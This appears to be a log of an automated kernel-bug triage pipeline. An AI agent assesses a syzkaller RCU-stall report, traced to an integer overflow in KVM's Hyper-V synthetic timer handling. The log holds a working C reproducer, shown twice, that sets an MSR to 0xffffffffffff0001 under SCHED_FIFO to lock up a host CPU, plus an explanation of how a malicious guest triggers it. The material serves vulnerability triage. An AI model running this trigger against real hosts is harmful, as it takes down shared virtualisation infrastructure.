| 0/0 |
2026/05/19 00:42 |
flow |
assessment-security |
42m
Results: map[DenialOfService:true Explanation:Based on the analysis of the bug report and the reproducer, here is the
assessment of the vulnerability:
**Vulnerability Analysis:**
The bug is an integer overflow in the KVM subsystem's handling of Hyper-V
synthetic timers (`stimer`).
When a guest configures a one-shot synthetic timer, it provides an absolute
expiration time in 100-nanosecond units (`stimer->count`). In `stimer_start()`,
the host calculates the relative time until expiration and converts it to
nanoseconds to set up a host `hrtimer`:
`ktime_add_ns(ktime_now, 100 * (stimer->count - time_now))`
If a malicious guest provides a very large value for `stimer->count` (e.g.,
`0xffffffffffff0001` as seen in the reproducer), the subtraction `stimer->count
- time_now` yields a very large 64-bit unsigned integer. Multiplying this by 100
causes a 64-bit integer overflow. The resulting value, when interpreted as a
signed 64-bit integer (`s64` used by `ktime_t`), becomes negative.
Adding this negative value to the current time results in an absolute expiration
time that is in the past. Consequently, `hrtimer_start()` schedules the timer to
fire immediately. The timer callback runs, sets a pending request
(`KVM_REQ_HV_STIMER`), and kicks the VCPU. When the VCPU thread processes the
request in `kvm_hv_process_stimers()`, it checks if the timer has actually
expired by comparing `time_now >= stimer->count`. Since `time_now` is still much
smaller than the huge `stimer->count`, this check fails, and the code
incorrectly assumes the timer still needs to wait, calling `stimer_start()`
again.
This creates an infinite loop: `stimer_start()` sets a timer in the past -> it
fires immediately -> `kvm_hv_process_stimers()` restarts it. This loop consumes
100% of the host CPU core. If the VCPU thread is running with a real-time
scheduling policy (like `SCHED_FIFO`, which is common in production KVM setups
to reduce latency), it will starve other critical kernel threads (like
`rcu_preempt`), leading to RCU stalls and eventually a host kernel panic.
**Impact Dimensions:**
* **Exploitable:** **False**. The bug is a logic error caused by an integer
overflow that leads to an infinite loop. It does not cause out-of-bounds memory
accesses, use-after-free, or any other memory corruption that could be leveraged
for privilege escalation or arbitrary code execution.
* **Denial Of Service:** **True**. The bug causes an infinite loop in the host
kernel, leading to 100% CPU consumption on the affected core, soft lockups, RCU
stalls, and potentially a full system crash (kernel panic).
* **Accessible From Unprivileged Processes:** **False**. Triggering the bug from
user-space requires opening and issuing `ioctl`s to `/dev/kvm`. This device node
is typically restricted to `root` and users in the `kvm` group. A typical
unprivileged user does not have the necessary permissions.
* **Accessible From User Namespaces:** **False**. Creating a user namespace does
not grant access to the restricted `/dev/kvm` device node.
* **VM Guest Trigger:** **True**. A malicious KVM guest can trigger this bug to
cause a Denial of Service on the host, provided the VMM (e.g., QEMU) exposes the
Hyper-V synthetic timer enlightenments (`hv-stimer` CPU flag) to the guest. This
is a common configuration for Windows guests.
* **Other Triggers:** **False**. The bug is strictly tied to the KVM Hyper-V
emulation and cannot be triggered via network traffic, peripherals, or malicious
filesystems. Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:true VMHostTrigger:false]
|
| 1/1 |
2026/05/19 00:42 |
action |
syz-repro-to-c-repro |
0m
Results: map[SimplifiedCRepro:// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
const char* reason;
(void)reason;
intptr_t res = 0;
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
// prlimit64 arguments: [
// pid: pid (resource)
// res: rlimit_type = 0xe (8 bytes)
// new: ptr[in, rlimit] {
// rlimit {
// soft: intptr = 0x8 (8 bytes)
// hard: intptr = 0x80000100008b (8 bytes)
// }
// }
// old: nil
// ]
*(uint64_t*)0x200000000100 = 8;
*(uint64_t*)0x200000000108 = 0x80000100008b;
syscall(__NR_prlimit64, /*pid=*/0, /*res=RLIMIT_RTPRIO*/0xeul, /*new=*/0x200000000100ul, /*old=*/0ul);
// sched_setscheduler arguments: [
// pid: pid (resource)
// policy: sched_policy = 0x1 (8 bytes)
// prio: ptr[in, int32] {
// int32 = 0x7 (4 bytes)
// }
// ]
*(uint32_t*)0x200000000300 = 7;
syscall(__NR_sched_setscheduler, /*pid=*/0, /*policy=SCHED_FIFO*/1ul, /*prio=*/0x200000000300ul);
// openat$kvm arguments: [
// fd: const = 0xffffffffffffff9c (8 bytes)
// file: ptr[in, buffer] {
// buffer: {2f 64 65 76 2f 6b 76 6d 00} (length 0x9)
// }
// flags: open_flags = 0x0 (4 bytes)
// mode: const = 0x0 (2 bytes)
// ]
// returns fd_kvm
memcpy((void*)0x200000000000, "/dev/kvm\000", 9);
res = syscall(__NR_openat, /*fd=*/0xffffffffffffff9cul, /*file=*/0x200000000000ul, /*flags=*/0, /*mode=*/0);
if (res != -1)
r[0] = res;
// ioctl$KVM_CREATE_VM arguments: [
// fd: fd_kvm (resource)
// cmd: const = 0xae01 (4 bytes)
// type: intptr = 0x0 (8 bytes)
// ]
// returns fd_kvmvm
res = syscall(__NR_ioctl, /*fd=*/r[0], /*cmd=*/0xae01, /*type=*/0ul);
if (res != -1)
r[1] = res;
// ioctl$KVM_CREATE_IRQCHIP arguments: [
// fd: fd_kvmvm (resource)
// cmd: const = 0xae60 (4 bytes)
// ]
syscall(__NR_ioctl, /*fd=*/r[1], /*cmd=*/0xae60, 0);
// ioctl$KVM_CREATE_VCPU arguments: [
// fd: fd_kvmvm (resource)
// cmd: const = 0xae41 (4 bytes)
// id: intptr = 0x0 (8 bytes)
// ]
// returns fd_kvmcpu
res = syscall(__NR_ioctl, /*fd=*/r[1], /*cmd=*/0xae41, /*id=*/0ul);
if (res != -1)
r[2] = res;
// ioctl$KVM_CAP_HYPERV_SYNIC2 arguments: [
// fd: fd_kvmcpu (resource)
// cmd: const = 0x4068aea3 (4 bytes)
// arg: ptr[in, kvm_enable_cap[KVM_CAP_HYPERV_SYNIC2, const[0, int64]]] {
// kvm_enable_cap[KVM_CAP_HYPERV_SYNIC2, const[0, int64]] {
// cap: const = 0x94 (4 bytes)
// flags: const = 0x0 (4 bytes)
// args: const = 0x0 (8 bytes)
// pad = 0x0 (88 bytes)
// }
// }
// ]
*(uint32_t*)0x200000000140 = 0x94;
*(uint32_t*)0x200000000144 = 0;
*(uint64_t*)0x200000000148 = 0;
syscall(__NR_ioctl, /*fd=*/r[2], /*cmd=*/0x4068aea3, /*arg=*/0x200000000140ul);
// ioctl$KVM_SET_MSRS arguments: [
// fd: fd_kvmcpu (resource)
// cmd: const = 0x4008ae89 (4 bytes)
// arg: ptr[in, kvm_msrs] {
// kvm_msrs {
// nmsrs: len = 0x2 (4 bytes)
// pad: const = 0x0 (4 bytes)
// entries: array[kvm_msr_entry] {
// kvm_msr_entry {
// index: msr_index = 0x400000b0 (4 bytes)
// reserv: const = 0x0 (4 bytes)
// data: int64 = 0x5 (8 bytes)
// }
// kvm_msr_entry {
// index: msr_index = 0x400000b1 (4 bytes)
// reserv: const = 0x0 (4 bytes)
// data: int64 = 0xffffffffffff0001 (8 bytes)
// }
// }
// }
// }
// ]
*(uint32_t*)0x200000000040 = 2;
*(uint32_t*)0x200000000044 = 0;
*(uint32_t*)0x200000000048 = 0x400000b0;
*(uint32_t*)0x20000000004c = 0;
*(uint64_t*)0x200000000050 = 5;
*(uint32_t*)0x200000000058 = 0x400000b1;
*(uint32_t*)0x20000000005c = 0;
*(uint64_t*)0x200000000060 = 0xffffffffffff0001;
syscall(__NR_ioctl, /*fd=*/r[2], /*cmd=*/0x4008ae89, /*arg=*/0x200000000040ul);
// ioctl$KVM_RUN arguments: [
// fd: fd_kvmcpu (resource)
// cmd: const = 0xae80 (4 bytes)
// arg: const = 0x0 (8 bytes)
// ]
syscall(__NR_ioctl, /*fd=*/r[2], /*cmd=*/0xae80, /*arg=*/0ul);
// writev arguments: [
// fd: fd (resource)
// vec: nil
// vlen: len = 0x0 (8 bytes)
// ]
syscall(__NR_writev, /*fd=*/(intptr_t)-1, /*vec=*/0ul, /*vlen=*/0ul);
// prctl$PR_SCHED_CORE arguments: [
// option: const = 0x3e (8 bytes)
// cmd: intptr = 0x1 (8 bytes)
// pid: pid (resource)
// type: pid_type = 0x2 (8 bytes)
// uaddr: nil
// ]
syscall(__NR_prctl, /*option=*/0x3eul, /*cmd=*/1ul, /*pid=*/0, /*type=PIDTYPE_PGID*/2ul, /*uaddr=*/0ul);
return 0;
}
]
|
| 2/1 |
2026/05/19 00:42 |
action |
kernel-checkouter |
2m
Results: map[KernelSrc:/app/workdir/cache/src/7386e8bf16aed7f1e22143f4ab1682d4b2919568]
|
| 3/1 |
2026/05/19 00:44 |
action |
kernel-builder |
25m
Results: map[KernelObj:/app/workdir/cache/build/5c95ef285ba50b5c3b97a026bbbbbcb3a430abf0]
|
| 4/1 |
2026/05/19 01:09 |
action |
codesearch-prepare |
11m
Results: map[Index:codesearch-index]
|
| 5/1 |
2026/05/19 01:21 |
agent |
expert |
3m
Model:
Results: map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:true VMHostTrigger:false]
Instruction:
You are an experienced Linux kernel security engineer. Your task is to analyze given kernel bug report
and determine its security impact based on the following dimensions.
Use the provided tools to examine the source code, check for capability checks (e.g., capable(), ns_capable()),
and understand the nature of the bug. Analyze the given kernel build and configuration.
You can check the kernel config by grepping ".config" file; you can check kernel cmdline by greeping
".config" file for "CONFIG_CMDLINE=". Assume sysctl parameters have default values.
But analyze for the corresponding production build w/o debugging tools enabled (like KASAN, KMSAN, UBSAN).
Don't make assumptions; verify them with source code access. Try different strategies when analyzing the bug:
- think of ways in which the vulnerable code is unreachable
- or the other way around: try to come up with different ideas of how an unprivileged user can reach the bug
If still unsure err on the side of the bug being non-exploitable/not-accessible.
In the final reply, provide a reasoning for your assessment.
Analysis dimensions:
* Exploitable:
Determine if the bug can result in memory corruption or elevated privileges.
Memory safety issues are almost always exploitable (KASAN or UBSAN reports for use-after-free, out-of-bounds;
refcounting issues, corrupted lists, etc). When kernel is crashing on a completly wild pointer access
(e.g. user-space address, or non-canonical address, but not on NULL or address corresponding to KASAN shadow
for NULL address), including both data accesses and control tranfers, that's also usually implies possibility
of exploitation. Such reports usually say "unable to handle kernel paging request".
Uses of uninitialized values detected by KMSAN may be exploitable b/c attacker frequently can affect uninit
values with spraying techniques. However, for these exploitabability depends on how exactly the uninit value
is used in the code, and what it affects.
Think of what happens after the bug is triggered. Some bugs cause kernel panic and halt execution,
they are harder to exploit. For example, BUG reports halts the kernel. However, WARNING reports don't halt
execution in production builds. Debug bug detection tools (like KASAN, KMSAN, KCSAN, UBSAN) are also not enabled
in production builds, so attacker can freely exploit these bugs w/o being detected by these tools.
If you see an integer overflow, think how the overflowed value used later (if it's used as allocation size,
or an array index). If you see an out-of-bounds read, think if it's followed by an out-of-bounds write as well.
Some KCSAN data-races may be exploitable by skilled attackers as well. Think what data structures got corrupted
as the result of data races and how. However, note that kernel has lots of "benign" data races that don't lead
to any runtime misbehavior at all.
* Denial Of Service:
Determine if the bug can result in denial-of-service. Most bugs can, since they cause system crash,
hangs, deadlocks, or resource leaks. This is mostly applicable to WARNING bugs that won't cause system crash
in production. For these think what will be consequences of the violation of the kernel assumptions flagged
by the WARNING. In some cases the unexpected condition is also properly handled by the normal control flow
(e.g. with "if (WARN_ON(...))"), these won't cause denial-of-service. If the condition is not handled,
then it may or may not cause denial-of-service.
* Accessible From Unprivileged Processes:
Determine if the bug can be reached from a typical (non-root) user process that does NOT have any special capabilities
(like CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON) or access to device nodes restricted to root.
Assume that unprivileged_bpf_disabled=1, that is eBPF loading is not accessible. However, cBPF (classical BPF)
is still accessible to non-root processes.
Assume that user namespaces are not accessible, that is, the process cannot get the mentioned capabilities even
within a new user namespace (checked by ns_capable() function in the kernel sources).
* Accessible From User Namespaces:
Determine if the bug can be reached within a user-namespace where the process has all capabilities
(including CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON). Such capabilities are checked with ns_capable()
function in the kernel sources.
* VM Guest Trigger:
Determine if the bug can be triggered from the context of a typical KVM guest (e.g., set up by a QEMU VMM).
Consider accesses to standard Linux host paravirtualized features (virtio-blk, virtio-net, etc.),
and handling of VM exits in the KVM code.
* VM Host Trigger in The Confidetial Computing Context:
Determine if the bug can be triggered in a confidential computing guest kernel from the context of a KVM host.
Consider access to standard Linux guest paravirtualized features (virtio-blk, virtio-net, etc.).
* Ethernet Network Trigger:
Determine if the bug can be triggered by processing ingress network Ethernet traffic, either directly (network stack)
or via drivers exposed to network data.
* Other Remote Trigger:
Determine if the bug can be triggered by processing remote traffic other than Ethernet (Wifi, Bluetooth, NFC, etc).
* Peripheral Trigger:
Determine if the bug can be triggered via an untrusted peripheral device that can be physically plugged
into a system, such as a USB device or a niche hardware driver handling external hardware inputs.
This is particularly important for mobile and desktop environments where users can plug in unknown devices.
* Malicious Filesystem Trigger:
Determine if the bug can be triggered by the kernel mounting and parsing a malicious filesystem image.
This is highly critical for Desktop and Mobile environments where external media or downloaded images
might be auto-mounted.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt:
The kernel bug report is:
rcu: INFO: rcu_preempt detected stalls on CPUs/tasks:
rcu: Tasks blocked on level-0 rcu_node (CPUs 0-1): P5198/1:b..l
rcu: (detected by 0, t=10502 jiffies, g=13997, q=1311 ncpus=2)
task:udevd state:R running task stack:25464 pid:5198 tgid:5198 ppid:1 task_flags:0x400140 flags:0x00080000
Call Trace:
<TASK>
context_switch kernel/sched/core.c:5258 [inline]
__schedule+0x150e/0x5070 kernel/sched/core.c:6866
preempt_schedule_irq+0xb5/0x150 kernel/sched/core.c:7193
irqentry_exit+0x5d8/0x660 kernel/entry/common.c:216
asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:lock_acquire+0x184/0x340 kernel/locking/lockdep.c:5872
Code: 44 24 08 00 02 00 00 74 01 fb 65 48 8b 05 44 41 01 11 48 3b 44 24 58 0f 85 e5 00 00 00 48 83 c4 60 5b 41 5c 41 5d 41 5e 41 5f <5d> c3 cc cc cc cc cc 65 8b 05 ae 86 01 11 85 c0 75 ce 65 8b 05 23
RSP: 0018:ffffc9000218f8c0 EFLAGS: 00000282
RAX: 5a3440165b990100 RBX: ffffffff823916bf RCX: 5a3440165b990100
RDX: 000000005a44979c RSI: ffffffff8db7ed49 RDI: ffffffff8be07960
RBP: ffffffff81742f85 R08: ffffffff81742f85 R09: ffffffff8e13f2e0
R10: ffffc9000218f9f8 R11: ffffffff81ad9d50 R12: 1ffff92000431f35
R13: ffffc9000218f9e0 R14: ffffc9000218f9a8 R15: ffffffff81742f85
rcu_lock_acquire include/linux/rcupdate.h:331 [inline]
rcu_read_lock include/linux/rcupdate.h:867 [inline]
class_rcu_constructor include/linux/rcupdate.h:1195 [inline]
unwind_next_frame+0xc2/0x23d0 arch/x86/kernel/unwind_orc.c:495
arch_stack_walk+0x11c/0x150 arch/x86/kernel/stacktrace.c:25
stack_trace_save+0x9c/0xe0 kernel/stacktrace.c:122
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__kmalloc_cache_noprof+0x3e2/0x700 mm/slub.c:5780
kmalloc_noprof include/linux/slab.h:957 [inline]
slab_free_hook mm/slub.c:2492 [inline]
slab_free mm/slub.c:6674 [inline]
kmem_cache_free+0x16b/0x620 mm/slub.c:6785
fput_close_sync+0x113/0x220 fs/file_table.c:573
__do_sys_close fs/open.c:1534 [inline]
__se_sys_close fs/open.c:1519 [inline]
__x64_sys_close+0x7f/0x110 fs/open.c:1519
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0xfa/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f6b45a48a67
RSP: 002b:00007ffe66f1b5c8 EFLAGS: 00000297 ORIG_RAX: 0000000000000003
RAX: ffffffffffffffda RBX: 00005572017167e0 RCX: 00007f6b45a48a67
RDX: 00007f6b45b22ea0 RSI: 0000557201722560 RDI: 000000000000000c
RBP: 00007f6b45b22ff0 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000297 R12: 0000000000000000
R13: 3d45505954564544 R14: 3d5845444e494649 R15: 3d454d414e564544
</TASK>
rcu: rcu_preempt kthread starved for 10188 jiffies! g13997 f0x0 RCU_GP_WAIT_FQS(5) ->state=0x0 ->cpu=0
rcu: Unless rcu_preempt kthread gets sufficient CPU time, OOM is now expected behavior.
rcu: RCU grace-period kthread stack dump:
task:rcu_preempt state:R running task stack:27168 pid:16 tgid:16 ppid:2 task_flags:0x208040 flags:0x00080000
Call Trace:
<TASK>
context_switch kernel/sched/core.c:5258 [inline]
__schedule+0x150e/0x5070 kernel/sched/core.c:6866
__schedule_loop kernel/sched/core.c:6948 [inline]
schedule+0x165/0x360 kernel/sched/core.c:6963
schedule_timeout+0x12b/0x270 kernel/time/sleep_timeout.c:99
rcu_gp_fqs_loop+0x301/0x1540 kernel/rcu/tree.c:2083
rcu_gp_kthread+0x99/0x390 kernel/rcu/tree.c:2285
kthread+0x711/0x8a0 kernel/kthread.c:463
ret_from_fork+0x599/0xb30 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246
</TASK>
rcu: Stack dump where RCU GP kthread last ran:
CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025
RIP: 0010:pv_native_safe_halt+0x13/0x20 arch/x86/kernel/paravirt.c:82
Code: cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa 66 90 0f 00 2d 33 9e 2a 00 f3 0f 1e fa fb f4 <e9> 48 ee 02 00 cc cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90
RSP: 0018:ffffffff8de07d80 EFLAGS: 000002c6
RAX: 56d2868927d6ea00 RBX: ffffffff819786ba RCX: 56d2868927d6ea00
RDX: 0000000000000001 RSI: ffffffff8d997e54 RDI: ffffffff8be07960
RBP: ffffffff8de07ea8 R08: ffff8880b86336db R09: 1ffff110170c66db
R10: dffffc0000000000 R11: ffffed10170c66dc R12: ffffffff8fa22f70
R13: 1ffffffff1bd29b8 R14: 0000000000000000 R15: 0000000000000000
FS: 0000000000000000(0000) GS:ffff888125c25000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f799b686f98 CR3: 000000007a56e000 CR4: 00000000003526f0
Call Trace:
<TASK>
arch_safe_halt arch/x86/include/asm/paravirt.h:107 [inline]
default_idle+0x13/0x20 arch/x86/kernel/process.c:767
default_idle_call+0x73/0xb0 kernel/sched/idle.c:122
cpuidle_idle_call kernel/sched/idle.c:191 [inline]
do_idle+0x1ea/0x520 kernel/sched/idle.c:332
cpu_startup_entry+0x44/0x60 kernel/sched/idle.c:430
rest_init+0x2de/0x300 init/main.c:758
start_kernel+0x3ac/0x400 init/main.c:1208
x86_64_start_reservations+0x24/0x30 arch/x86/kernel/head64.c:310
x86_64_start_kernel+0x143/0x1c0 arch/x86/kernel/head64.c:291
common_startup_64+0x13e/0x147
</TASK>
It is reproducible with the followint program.
Keep in mind that it may lack the precise threading, sandboxing, and some arguments of a working reproducer.
But it should give an idea of the involved syscalls.
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
const char* reason;
(void)reason;
intptr_t res = 0;
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
// prlimit64 arguments: [
// pid: pid (resource)
// res: rlimit_type = 0xe (8 bytes)
// new: ptr[in, rlimit] {
// rlimit {
// soft: intptr = 0x8 (8 bytes)
// hard: intptr = 0x80000100008b (8 bytes)
// }
// }
// old: nil
// ]
*(uint64_t*)0x200000000100 = 8;
*(uint64_t*)0x200000000108 = 0x80000100008b;
syscall(__NR_prlimit64, /*pid=*/0, /*res=RLIMIT_RTPRIO*/0xeul, /*new=*/0x200000000100ul, /*old=*/0ul);
// sched_setscheduler arguments: [
// pid: pid (resource)
// policy: sched_policy = 0x1 (8 bytes)
// prio: ptr[in, int32] {
// int32 = 0x7 (4 bytes)
// }
// ]
*(uint32_t*)0x200000000300 = 7;
syscall(__NR_sched_setscheduler, /*pid=*/0, /*policy=SCHED_FIFO*/1ul, /*prio=*/0x200000000300ul);
// openat$kvm arguments: [
// fd: const = 0xffffffffffffff9c (8 bytes)
// file: ptr[in, buffer] {
// buffer: {2f 64 65 76 2f 6b 76 6d 00} (length 0x9)
// }
// flags: open_flags = 0x0 (4 bytes)
// mode: const = 0x0 (2 bytes)
// ]
// returns fd_kvm
memcpy((void*)0x200000000000, "/dev/kvm\000", 9);
res = syscall(__NR_openat, /*fd=*/0xffffffffffffff9cul, /*file=*/0x200000000000ul, /*flags=*/0, /*mode=*/0);
if (res != -1)
r[0] = res;
// ioctl$KVM_CREATE_VM arguments: [
// fd: fd_kvm (resource)
// cmd: const = 0xae01 (4 bytes)
// type: intptr = 0x0 (8 bytes)
// ]
// returns fd_kvmvm
res = syscall(__NR_ioctl, /*fd=*/r[0], /*cmd=*/0xae01, /*type=*/0ul);
if (res != -1)
r[1] = res;
// ioctl$KVM_CREATE_IRQCHIP arguments: [
// fd: fd_kvmvm (resource)
// cmd: const = 0xae60 (4 bytes)
// ]
syscall(__NR_ioctl, /*fd=*/r[1], /*cmd=*/0xae60, 0);
// ioctl$KVM_CREATE_VCPU arguments: [
// fd: fd_kvmvm (resource)
// cmd: const = 0xae41 (4 bytes)
// id: intptr = 0x0 (8 bytes)
// ]
// returns fd_kvmcpu
res = syscall(__NR_ioctl, /*fd=*/r[1], /*cmd=*/0xae41, /*id=*/0ul);
if (res != -1)
r[2] = res;
// ioctl$KVM_CAP_HYPERV_SYNIC2 arguments: [
// fd: fd_kvmcpu (resource)
// cmd: const = 0x4068aea3 (4 bytes)
// arg: ptr[in, kvm_enable_cap[KVM_CAP_HYPERV_SYNIC2, const[0, int64]]] {
// kvm_enable_cap[KVM_CAP_HYPERV_SYNIC2, const[0, int64]] {
// cap: const = 0x94 (4 bytes)
// flags: const = 0x0 (4 bytes)
// args: const = 0x0 (8 bytes)
// pad = 0x0 (88 bytes)
// }
// }
// ]
*(uint32_t*)0x200000000140 = 0x94;
*(uint32_t*)0x200000000144 = 0;
*(uint64_t*)0x200000000148 = 0;
syscall(__NR_ioctl, /*fd=*/r[2], /*cmd=*/0x4068aea3, /*arg=*/0x200000000140ul);
// ioctl$KVM_SET_MSRS arguments: [
// fd: fd_kvmcpu (resource)
// cmd: const = 0x4008ae89 (4 bytes)
// arg: ptr[in, kvm_msrs] {
// kvm_msrs {
// nmsrs: len = 0x2 (4 bytes)
// pad: const = 0x0 (4 bytes)
// entries: array[kvm_msr_entry] {
// kvm_msr_entry {
// index: msr_index = 0x400000b0 (4 bytes)
// reserv: const = 0x0 (4 bytes)
// data: int64 = 0x5 (8 bytes)
// }
// kvm_msr_entry {
// index: msr_index = 0x400000b1 (4 bytes)
// reserv: const = 0x0 (4 bytes)
// data: int64 = 0xffffffffffff0001 (8 bytes)
// }
// }
// }
// }
// ]
*(uint32_t*)0x200000000040 = 2;
*(uint32_t*)0x200000000044 = 0;
*(uint32_t*)0x200000000048 = 0x400000b0;
*(uint32_t*)0x20000000004c = 0;
*(uint64_t*)0x200000000050 = 5;
*(uint32_t*)0x200000000058 = 0x400000b1;
*(uint32_t*)0x20000000005c = 0;
*(uint64_t*)0x200000000060 = 0xffffffffffff0001;
syscall(__NR_ioctl, /*fd=*/r[2], /*cmd=*/0x4008ae89, /*arg=*/0x200000000040ul);
// ioctl$KVM_RUN arguments: [
// fd: fd_kvmcpu (resource)
// cmd: const = 0xae80 (4 bytes)
// arg: const = 0x0 (8 bytes)
// ]
syscall(__NR_ioctl, /*fd=*/r[2], /*cmd=*/0xae80, /*arg=*/0ul);
// writev arguments: [
// fd: fd (resource)
// vec: nil
// vlen: len = 0x0 (8 bytes)
// ]
syscall(__NR_writev, /*fd=*/(intptr_t)-1, /*vec=*/0ul, /*vlen=*/0ul);
// prctl$PR_SCHED_CORE arguments: [
// option: const = 0x3e (8 bytes)
// cmd: intptr = 0x1 (8 bytes)
// pid: pid (resource)
// type: pid_type = 0x2 (8 bytes)
// uaddr: nil
// ]
syscall(__NR_prctl, /*option=*/0x3eul, /*cmd=*/1ul, /*pid=*/0, /*type=PIDTYPE_PGID*/2ul, /*uaddr=*/0ul);
return 0;
}
Reply: Based on the analysis of the bug report and the reproducer, here is the assessment of the vulnerability:
**Vulnerability Analysis:**
The bug is an integer overflow in the KVM subsystem's handling of Hyper-V synthetic timers (`stimer`).
When a guest configures a one-shot synthetic timer, it provides an absolute expiration time in 100-nanosecond units (`stimer->count`). In `stimer_start()`, the host calculates the relative time until expiration and converts it to nanoseconds to set up a host `hrtimer`:
`ktime_add_ns(ktime_now, 100 * (stimer->count - time_now))`
If a malicious guest provides a very large value for `stimer->count` (e.g., `0xffffffffffff0001` as seen in the reproducer), the subtraction `stimer->count - time_now` yields a very large 64-bit unsigned integer. Multiplying this by 100 causes a 64-bit integer overflow. The resulting value, when interpreted as a signed 64-bit integer (`s64` used by `ktime_t`), becomes negative.
Adding this negative value to the current time results in an absolute expiration time that is in the past. Consequently, `hrtimer_start()` schedules the timer to fire immediately. The timer callback runs, sets a pending request (`KVM_REQ_HV_STIMER`), and kicks the VCPU. When the VCPU thread processes the request in `kvm_hv_process_stimers()`, it checks if the timer has actually expired by comparing `time_now >= stimer->count`. Since `time_now` is still much smaller than the huge `stimer->count`, this check fails, and the code incorrectly assumes the timer still needs to wait, calling `stimer_start()` again.
This creates an infinite loop: `stimer_start()` sets a timer in the past -> it fires immediately -> `kvm_hv_process_stimers()` restarts it. This loop consumes 100% of the host CPU core. If the VCPU thread is running with a real-time scheduling policy (like `SCHED_FIFO`, which is common in production KVM setups to reduce latency), it will starve other critical kernel threads (like `rcu_preempt`), leading to RCU stalls and eventually a host kernel panic.
**Impact Dimensions:**
* **Exploitable:** **False**. The bug is a logic error caused by an integer overflow that leads to an infinite loop. It does not cause out-of-bounds memory accesses, use-after-free, or any other memory corruption that could be leveraged for privilege escalation or arbitrary code execution.
* **Denial Of Service:** **True**. The bug causes an infinite loop in the host kernel, leading to 100% CPU consumption on the affected core, soft lockups, RCU stalls, and potentially a full system crash (kernel panic).
* **Accessible From Unprivileged Processes:** **False**. Triggering the bug from user-space requires opening and issuing `ioctl`s to `/dev/kvm`. This device node is typically restricted to `root` and users in the `kvm` group. A typical unprivileged user does not have the necessary permissions.
* **Accessible From User Namespaces:** **False**. Creating a user namespace does not grant access to the restricted `/dev/kvm` device node.
* **VM Guest Trigger:** **True**. A malicious KVM guest can trigger this bug to cause a Denial of Service on the host, provided the VMM (e.g., QEMU) exposes the Hyper-V synthetic timer enlightenments (`hv-stimer` CPU flag) to the guest. This is a common configuration for Windows guests.
* **Other Triggers:** **False**. The bug is strictly tied to the KVM Hyper-V emulation and cannot be triggered via network traffic, peripherals, or malicious filesystems.
|
| 6/2 |
2026/05/19 01:21 |
llm |
expert |
0m
Model:
Tokens:
input: 10352
output: 24
